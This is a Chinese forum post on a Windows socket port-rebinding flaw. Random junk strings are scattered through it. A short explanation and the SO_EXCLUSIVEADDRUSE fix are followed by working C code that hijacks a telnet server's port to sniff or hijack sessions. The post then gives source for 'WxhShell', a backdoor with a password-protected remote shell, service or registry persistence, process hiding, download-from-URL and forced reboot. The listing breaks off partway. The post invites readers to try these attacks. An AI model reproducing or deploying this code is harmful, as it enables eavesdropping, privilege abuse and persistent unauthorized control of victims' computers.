社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 20028阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: UX)GA[WI  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n%&L&G  
Ay16/7h@hi  
  saddr.sin_family = AF_INET; p R'J4~  
)7>GXZG>=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); AByl1)r|  
4XN \p  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^PZ[;F40  
S<i$0p8J;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 rOSov"7  
iHD!v7d7  
  这意味着什么?意味着可以进行如下的攻击: x0 )V o]r  
"I.6/9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 h6h6B.\ Ld  
cE]z Tu?!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  =}`d  
ic2 D$`M  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u&:N`f  
2Vx4"fHP#N  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  y(COB6r  
Pd91<L  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 z#tIa  
{[H_Vl@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 C*Vm}|)  
9{u8fDm!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {*yvvb  
U#3N90,N=  
  #include 9-42A7g^C  
  #include F9r.DG$}  
  #include }_D.Hy5  
  #include    g*V.u]U!i  
  DWORD WINAPI ClientThread(LPVOID lpParam);   fkxkf^g)  
  int main() 1q}L O2  
  { >fBPVu\PA  
  WORD wVersionRequested; tdm7MPM  
  DWORD ret; PtfG~$h?  
  WSADATA wsaData; H/D=$)3op  
  BOOL val; F!vrvlD`s  
  SOCKADDR_IN saddr; j 6qtR$l|  
  SOCKADDR_IN scaddr; N*Aw-\Bk  
  int err; N<)CG,/w[M  
  SOCKET s; 4=yzf  
  SOCKET sc; .|,LBc!  
  int caddsize; >tM4|w|  
  HANDLE mt; ';I}6N  
  DWORD tid;   \ "O5li3n  
  wVersionRequested = MAKEWORD( 2, 2 ); )CFJ Xc:  
  err = WSAStartup( wVersionRequested, &wsaData ); >XgoN\w  
  if ( err != 0 ) { P6gkbtg  
  printf("error!WSAStartup failed!\n"); b'z $S+  
  return -1; C>Ik ;  
  } *rq*li;  
  saddr.sin_family = AF_INET; c^r8<KlI9  
   z$1RD)TQB  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 a~_ 9BM41T  
8+'}`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;(NTzBq!1  
  saddr.sin_port = htons(23); Q0J1"*P0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kF|$oBQ  
  { m%|\AZBA#  
  printf("error!socket failed!\n"); z9o]);dZ  
  return -1; ^z *0  
  } !<w6j-S  
  val = TRUE; 4$Ai!a  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B {Cm`f8E  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) jX7K- L  
  { ?@"@9na  
  printf("error!setsockopt failed!\n"); =Vg~ VD   
  return -1; yq~  
  } 4E''pW]8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; L=<xTbY  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Vl5r~+$|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Igo`\JY  
5U?O1}P  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .O- )m'5  
  { 5Q10Ohh  
  ret=GetLastError(); ZX_QnSNZ?  
  printf("error!bind failed!\n"); v^C\ GDH  
  return -1; 3p#UEH3  
  } LK h=jB^bT  
  listen(s,2); wkt4vE87  
  while(1) qCI&H7u@  
  { >k @t.PeoV  
  caddsize = sizeof(scaddr); ?'V78N sA  
  //接受连接请求 RRO@r}A!y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); G@s:|oe  
  if(sc!=INVALID_SOCKET) c^|8qvS $  
  { Z!v,;MW  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Sm/8VSY  
  if(mt==NULL) BbB3#/g  
  { 0]>bNbLB"  
  printf("Thread Creat Failed!\n"); !{ &r|6  
  break; x.1= QF{!  
  } =]@Bc 7@  
  } Zr}>>aIJ]k  
  CloseHandle(mt); N<JI^%HBgP  
  } U N?tn}`!  
  closesocket(s); TXB!Y!RG#  
  WSACleanup(); Z_ElLY  
  return 0; \%r#>8c8  
  }   +:Zwo+\kSN  
  DWORD WINAPI ClientThread(LPVOID lpParam) /M5.Z~|/  
  { &OU.BR >  
  SOCKET ss = (SOCKET)lpParam; -l=C7e  
  SOCKET sc; %jAc8~vW?  
  unsigned char buf[4096]; +C=vuR  
  SOCKADDR_IN saddr; I]ej ]46K  
  long num; L`t786 (M  
  DWORD val; dO D(<  
  DWORD ret; lr&2,p<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 AG >D,6Y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   tN{0C/B9  
  saddr.sin_family = AF_INET; X0*+]tRg  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ca=MUm=B  
  saddr.sin_port = htons(23); . r/s.g  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]Jz=. F sO  
  { ` k] TOc  
  printf("error!socket failed!\n"); &tOo[U?  
  return -1; yK{P%oh)  
  } RlfI]uCDM  
  val = 100; {r&r^!K;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  ZPf&4#|  
  { <@7j37,R7V  
  ret = GetLastError(); za6 hyd^  
  return -1; !d##q)D f?  
  } 6UIS4 _   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X[J<OTj`$  
  { eGMw:H  
  ret = GetLastError(); -dMH>e0  
  return -1; CQ!D{o=  
  } PCCE+wC6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X}B] 5  
  { &Zz&VwWR  
  printf("error!socket connect failed!\n"); 42 `Uq[5Y  
  closesocket(sc); iu{y.}?  
  closesocket(ss); @G& oUhS  
  return -1; GUQ3XF\  
  } ]`-o\,lq  
  while(1) jzi%[c<G  
  { *r>Y]VG;S  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;$eY#ypx  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 bP:u`!p -i  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 q4:zr   
  num = recv(ss,buf,4096,0); "4XjABJ4'  
  if(num>0) ~U<j_j)z4.  
  send(sc,buf,num,0); #cR5k@  
  else if(num==0) aR6~r^jB  
  break; ""`z3-  
  num = recv(sc,buf,4096,0); qA}l[:F+#  
  if(num>0) S*r }oX0  
  send(ss,buf,num,0); dhLd2WSyH  
  else if(num==0) # wn>S<  
  break; aaVq>$G 3  
  } G>dXK,f<B0  
  closesocket(ss); m<Gd 6V5  
  closesocket(sc); s#~VN;-I  
  return 0 ; `~axOp9N  
  } P'}EZ'  
JNU9RxR  
oKRI2ni$j9  
========================================================== k8Dk;N  
xqT} 9,  
下边附上一个代码,,WXhSHELL b#709VHm  
w_@6!zm  
========================================================== =j_4!^  
!rx5i  
#include "stdafx.h" nJH'^rO!C  
:t;\`gQoS  
#include <stdio.h> 6/a%%1c1  
#include <string.h> KYhL}C+  
#include <windows.h> :hHKm|1FE  
#include <winsock2.h> kH06Cb  
#include <winsvc.h> 5G<`c  
#include <urlmon.h> p@$92> '  
o/U}G,|G  
#pragma comment (lib, "Ws2_32.lib") ='#7yVVcs  
#pragma comment (lib, "urlmon.lib") \hJLa  
}m!T~XR</  
#define MAX_USER   100 // 最大客户端连接数 p E1uD4lLb  
#define BUF_SOCK   200 // sock buffer *R&77 o7  
#define KEY_BUFF   255 // 输入 buffer 1\jj3Y'i'  
I/h(*~/  
#define REBOOT     0   // 重启 JWt@vf~  
#define SHUTDOWN   1   // 关机 8yr-X!eF  
tjZS:@3 Z  
#define DEF_PORT   5000 // 监听端口 wC1) \ld  
Qz"@<qgQy  
#define REG_LEN     16   // 注册表键长度 IFSIQ q  
#define SVC_LEN     80   // NT服务名长度 7vqE @;:dt  
yr zyus  
// 从dll定义API Dmtsu2o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %)}_OXWf:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZA4sEVHW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^]LWcJ?"^!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q|.0Ja  
h#h)=;  
// wxhshell配置信息 8LtkP&Wx  
struct WSCFG { Lz- (1~o  
  int ws_port;         // 监听端口 17rg!'+   
  char ws_passstr[REG_LEN]; // 口令 5Shc$Awc!  
  int ws_autoins;       // 安装标记, 1=yes 0=no (i)O@Jve  
  char ws_regname[REG_LEN]; // 注册表键名 \a:-xwUu<  
  char ws_svcname[REG_LEN]; // 服务名 u_=>r_J[b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %e: hVU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $nthMx$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g C@=]Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1 RyvPP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o<S(ODOfi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O sIvW'$\  
!O,`Z`T?  
}; )q+;+J`>  
E-rGOm" m  
// default Wxhshell configuration =HoA2,R)  
struct WSCFG wscfg={DEF_PORT, h>NuQo*  
    "xuhuanlingzhe", *fDhNmQ `  
    1, ]T<RC\o  
    "Wxhshell", :as2fO$?  
    "Wxhshell", gdBH\K(\  
            "WxhShell Service", }5gQ dj[Y  
    "Wrsky Windows CmdShell Service", C It@xi#I  
    "Please Input Your Password: ", Cp-p7g0wlg  
  1, jivGkIj!8  
  "http://www.wrsky.com/wxhshell.exe", O ~bzTn  
  "Wxhshell.exe" Ut"F b  
    }; J16(d+  
6$+F5T  
// 消息定义模块 NSh~O!pX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tjy@sO/Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &C E){jC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1`&"U[{  
char *msg_ws_ext="\n\rExit."; E7Pz~6  
char *msg_ws_end="\n\rQuit."; ]\%u9,b%!  
char *msg_ws_boot="\n\rReboot..."; fH 5/  
char *msg_ws_poff="\n\rShutdown..."; s4\_%je<v  
char *msg_ws_down="\n\rSave to "; "Kn%|\YL@4  
X pf:I  
char *msg_ws_err="\n\rErr!"; X04JQLhy"  
char *msg_ws_ok="\n\rOK!"; o7@81QA!e  
yFqB2(Dv  
char ExeFile[MAX_PATH]; GA)t!Xg^  
int nUser = 0; , rc %#eF  
HANDLE handles[MAX_USER]; "M:0lUy  
int OsIsNt; IsiCHtY9  
X[iQ%Y$/n  
SERVICE_STATUS       serviceStatus; xcl8q:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z:%~Al:  
"f`{4p0v  
// 函数声明 n#5%{e>  
int Install(void); !.5,RIf  
int Uninstall(void); 4T:@W C  
int DownloadFile(char *sURL, SOCKET wsh); e/!xyd  
int Boot(int flag); d#3E'8  
void HideProc(void); 1A\N$9Dls  
int GetOsVer(void); Zut"P3d=J  
int Wxhshell(SOCKET wsl); U> 1voc  
void TalkWithClient(void *cs); @ **]o  
int CmdShell(SOCKET sock); LZ#SX5N  
int StartFromService(void); O9[Dae{i  
int StartWxhshell(LPSTR lpCmdLine); ZC:7N{a  
h}jE=T5Hc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kC-OZVoO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >a2i%j/T  
Sy`7})[  
// 数据结构和表定义 CrI:TB>/ "  
SERVICE_TABLE_ENTRY DispatchTable[] = },G5!3  
{ /jv4# 9  
{wscfg.ws_svcname, NTServiceMain}, t5WW3$Nf  
{NULL, NULL} A^"( VaK  
}; ]eZrb%B .  
R<x~KJ11c  
// 自我安装 pbePxOG  
int Install(void) 4XXuj  
{ OB5`a,5dI  
  char svExeFile[MAX_PATH]; > hmBV7nR  
  HKEY key; \$[S=&E  
  strcpy(svExeFile,ExeFile); N1i%b,:3  
"_T8Km008  
// 如果是win9x系统,修改注册表设为自启动 DF!*S{)  
if(!OsIsNt) { 0_faJjTbP;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <mdHca  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :NPnwX8w  
  RegCloseKey(key); E#m|Sq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RW04>oxVn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wm/=]*jpK  
  RegCloseKey(key); h"DxgG  
  return 0; `8D}\w<eI  
    } &;Jg2f%.  
  } <^8&2wAkJ  
} GY,HEe]2r  
else { U0X? ~ 1  
9s'[p'[Z  
// 如果是NT以上系统,安装为系统服务 HTU?hbG(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ijR,%qg  
if (schSCManager!=0) 7awh__@  
{ [b6P }DW  
  SC_HANDLE schService = CreateService '6zD`Q  
  ( :N ~A7@  
  schSCManager, L1J~D?q  
  wscfg.ws_svcname, Y<0R5rO  
  wscfg.ws_svcdisp, .8EaFEd  
  SERVICE_ALL_ACCESS, XIJW$CY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UiLiy?EJ  
  SERVICE_AUTO_START, 5ps7)]  
  SERVICE_ERROR_NORMAL, B6#^a  
  svExeFile, %RS8zN  
  NULL, X1PXX!]lo[  
  NULL, oF0BBs$  
  NULL, p`-Oz]  
  NULL, ic(`Ev  
  NULL Td/J6Q9 0  
  ); cg]>*lH  
  if (schService!=0) !m<v@SmL\  
  { &3_.k  
  CloseServiceHandle(schService); qlgo#[i  
  CloseServiceHandle(schSCManager); p,K]`pt=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q=~ *oYR  
  strcat(svExeFile,wscfg.ws_svcname); QpZ CU]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dF<GuS;l5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6./3w&D;  
  RegCloseKey(key); qzt.k^'-^  
  return 0; lOuO~`,J  
    } E +!A0!1  
  } A, ;V|jv9  
  CloseServiceHandle(schSCManager); M4`. [P4  
} /l&$B  
} nA?Ks!9T  
EYD24  
return 1; @n Oj6b  
} vlS+UFH0  
3BzC'nplm  
// 自我卸载 vle`#c.  
int Uninstall(void) r#X6jU  
{ 82*nC!P3E  
  HKEY key; fS#I?!*}  
6( 0ME$  
if(!OsIsNt) { yT<,0~F9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FZ~^cK9g:  
  RegDeleteValue(key,wscfg.ws_regname); P")1_!  
  RegCloseKey(key); }@H(z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &kp`1kv":  
  RegDeleteValue(key,wscfg.ws_regname); jC}2>_#m(  
  RegCloseKey(key); 1HS43!  
  return 0; me@xl }  
  } sm?V%NX&  
} *'ffMnSZ  
} wX Kg^%t\  
else { k ^(RSu<  
d$T856  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B9h'}460H  
if (schSCManager!=0) 2{;~Bg d  
{ s5cY>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dn}'B%  
  if (schService!=0) NA;OT7X[  
  { SW WeN#Q  
  if(DeleteService(schService)!=0) { w1J%%//(h  
  CloseServiceHandle(schService); ;\48Q;  
  CloseServiceHandle(schSCManager); o@47WD'm  
  return 0; +ko-oZ7V  
  } # m;|QWW  
  CloseServiceHandle(schService); |\3X7)^8D  
  } AREpZ2GiU  
  CloseServiceHandle(schSCManager); o<8SiVC2  
} %("WoBPH`  
} }u?DK,R  
>,}SP;  
return 1; YM.Q?p4g  
} DICS6VG}  
5|_El/G  
// 从指定url下载文件 ;@$v_i   
int DownloadFile(char *sURL, SOCKET wsh) GA+#'R  
{ *aaK_=w  
  HRESULT hr; &r0U9J  
char seps[]= "/"; M>g%wg7Ah  
char *token; i8|0zI  
char *file; bTepTWv  
char myURL[MAX_PATH]; ZXH{9hxd  
char myFILE[MAX_PATH]; yp l`vJ]X  
n>k1 D  
strcpy(myURL,sURL); ` ),ACkU>U  
  token=strtok(myURL,seps); _oAWj]~rO  
  while(token!=NULL) %D6HY^]ayw  
  { Bh ,GQHJ  
    file=token; O f.%rpgy  
  token=strtok(NULL,seps); bBg=X}9  
  } 7Q>bJ Ek7  
/:-Y7M*   
GetCurrentDirectory(MAX_PATH,myFILE); 1.IEs:(;  
strcat(myFILE, "\\"); He)vl.  
strcat(myFILE, file); B`mTp01  
  send(wsh,myFILE,strlen(myFILE),0); 8'|_O  
send(wsh,"...",3,0); q>f|1Pf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fq4[/%6,O  
  if(hr==S_OK) L<W2a(  
return 0; &<oJw TC  
else ywY[g{4+  
return 1; mZ0'-ax   
*c>B,  
} zr@H Yl  
88g|(k/  
// 系统电源模块 0f9*=c  
int Boot(int flag) J>N^FR9  
{ &3CC |  
  HANDLE hToken; 6BH P#B2j  
  TOKEN_PRIVILEGES tkp; @5tGI U;1  
%Fp 1c K  
  if(OsIsNt) { ,.]1N:   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J7FzOwd1h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f=paa/k0  
    tkp.PrivilegeCount = 1; KybrSa  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @ebSM#F?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  uq\[^  
if(flag==REBOOT) { &e)V!o@wJV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~ya@ YP]';  
  return 0; EK2mJCC|  
} lcfX(~/m^  
else { sg%Ptp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N:~CN1  
  return 0; h[i@c`3 /2  
} nxhn|v  
  } ^?R8>97_?  
  else { 'bn$"A"{o  
if(flag==REBOOT) { A Qm!7,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~djHtd>  
  return 0; D]'/5]~z<  
} rcUJOI  
else { $A^OP{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [Z2mH  
  return 0; GZzBATx  
} sh)[|?7z  
} k] iyx  
oef]  
return 1; <~ }NxY\5  
} (-%1z_@Y  
2P,{`O1]  
// win9x进程隐藏模块 uWjEyxPv{  
void HideProc(void) XOT|:  
{ H>Q X?>j  
b*TQKYT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w)Z-, J  
  if ( hKernel != NULL ) kK_9I (7c  
  { =-E%vnU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jL,P )TC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sUz,F8G  
    FreeLibrary(hKernel); <%"o-xZq7C  
  } FO{?Z%& ;  
9}$'q$0R]  
return; M$Ow*!DfP  
} .f-s+J&ED  
}9~U5UXWU  
// 获取操作系统版本 c1ptN  
int GetOsVer(void) L "5;<  
{ M,dp;  
  OSVERSIONINFO winfo; g=e~YM85  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e'T|5I0K  
  GetVersionEx(&winfo); (w1$m8`=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s(pNg?R  
  return 1; d8J(~$tXQN  
  else n+D93d9LP  
  return 0; +o|I@7f  
} Xk`'m[  
{xRO.699  
// 客户端句柄模块 Q?V'3ZZF!  
int Wxhshell(SOCKET wsl) tqXCj}mR  
{ >~*}9y0$  
  SOCKET wsh; v~:'t\n  
  struct sockaddr_in client; j2s{rQQ  
  DWORD myID; eOZ"kw"uHu  
 _j2q  
  while(nUser<MAX_USER) #'8'5b  
{ ,m[#<}xXA  
  int nSize=sizeof(client); j7yUya&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  Y3g<%6  
  if(wsh==INVALID_SOCKET) return 1; TEQs9-Uy  
@+yjt'B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8fA8@O}  
if(handles[nUser]==0) @Px_\w  
  closesocket(wsh); yVt8QF!  
else [sZ ,nB/  
  nUser++; Bk@&k}0  
  } Np@RK1}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]ASTw(4  
?U3~rro!  
  return 0; ]iry'eljy  
} e]@ B61lc  
>!PCEw<i  
// 关闭 socket p%-;hL!  
void CloseIt(SOCKET wsh) wUKt$_]``  
{ ;8g[y"I  
closesocket(wsh); +Uxt xl'  
nUser--; @me ( pnD  
ExitThread(0); B8>3GZi  
} bKQ_{cR  
BHpj_LB-P  
// 客户端请求句柄 r#B{j$Rw   
void TalkWithClient(void *cs) juEH$7N !  
{ C}]143a/Q  
IgEVz^W?h  
  SOCKET wsh=(SOCKET)cs; 8=-#LVo~c  
  char pwd[SVC_LEN]; " nLWvV1  
  char cmd[KEY_BUFF]; SI/3Dz[  
char chr[1]; E=]$nE]b  
int i,j; Dop,_94G  
5`)[FCQ  
  while (nUser < MAX_USER) { ]F sr k  
Q*8efzgs|  
if(wscfg.ws_passstr) { Ws:+P~8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H8h,JBg5<F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p4@0Dz`Q  
  //ZeroMemory(pwd,KEY_BUFF); \L"0Pmt[  
      i=0; LfMN 'Cb  
  while(i<SVC_LEN) { `=E4J2"  
Erm]uI9`  
  // 设置超时 $KPf[JvQ  
  fd_set FdRead; +r$VrNVs  
  struct timeval TimeOut; /2Bf6  
  FD_ZERO(&FdRead); [ Q[ac 6f  
  FD_SET(wsh,&FdRead); rTzXRMv@o  
  TimeOut.tv_sec=8; "@L|Z6U(  
  TimeOut.tv_usec=0; T1c& 3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B~`:?f9ny5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]u47]L#  
&/$3>MD2`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .NMZHK?%  
  pwd=chr[0]; TRFza}4:i  
  if(chr[0]==0xd || chr[0]==0xa) { KSO%89R'  
  pwd=0; u_.Ig|Va  
  break; S7B?[SPrN[  
  } v*^'|QyM7  
  i++; qv8B$}FU  
    } L RPdA "Z  
B6U4>ZN  
  // 如果是非法用户,关闭 socket Q #p gl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }@vf=jm>  
} IYe,VL  
scyv]5Hm!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ! _?#f|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6t'vzcQs  
R]NCD*~  
while(1) { KP CZiu7  
%Vhj<gN  
  ZeroMemory(cmd,KEY_BUFF); Thuwme  
9G)fJr  
      // 自动支持客户端 telnet标准   xpWY4Q  
  j=0; &G_XgQsg{  
  while(j<KEY_BUFF) { *a'I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G!U `8R  
  cmd[j]=chr[0]; M<xF4L3]  
  if(chr[0]==0xa || chr[0]==0xd) { 'h>CgR^NM1  
  cmd[j]=0; ?zK\!r{  
  break; }VqCyJu&{  
  } +GT"n$)+  
  j++;  ?S'Wd=  
    } \iAs  
C,,S<=L:  
  // 下载文件 B1va]=([)W  
  if(strstr(cmd,"http://")) { 7*@BCu6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i.''\  
  if(DownloadFile(cmd,wsh)) +m1*ou'K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^\w!D{Y7Q  
  else ye`-U?7.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4#ZZwa]y  
  } {  P@mAw  
  else { 8:k-]+#o  
V BjA$.  
    switch(cmd[0]) { 4B@Ir)^(*  
  >uwd3XW5  
  // 帮助 4)d"}j  
  case '?': { +krDmU9(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [N0"mE<  
    break; (4IH%Ez){  
  } A5,(P$@ k  
  // 安装 s[}cj+0  
  case 'i': { afye$$X  
    if(Install()) ?;DzWCL~9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B dxV [SF  
    else DS=Dg@y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B1 xlWdm  
    break; ?'^yw C`  
    } U\6Ee-1#_  
  // 卸载 h-5] nL3  
  case 'r': { `A$zLqz)Vm  
    if(Uninstall()) `}#n#C)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }h=3[pe}  
    else h 2C9p2.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >Slu?{l'  
    break; YT<(2u#Ng  
    } O[R   
  // 显示 wxhshell 所在路径 Z>hGqFZ0{  
  case 'p': { kI,O9z7A7  
    char svExeFile[MAX_PATH]; 8 )= "Ee  
    strcpy(svExeFile,"\n\r"); Cf3<;Mp<  
      strcat(svExeFile,ExeFile); %] !xr6d  
        send(wsh,svExeFile,strlen(svExeFile),0); #X*=oG  
    break; GoPK. E$  
    } 2 5I a  
  // 重启 }XfRKGQw  
  case 'b': { 'Xg9MS&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DhT8Kh{  
    if(Boot(REBOOT)) -{ Fy@$!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #z9@x}p5g  
    else { 1V ; ,ZGI*  
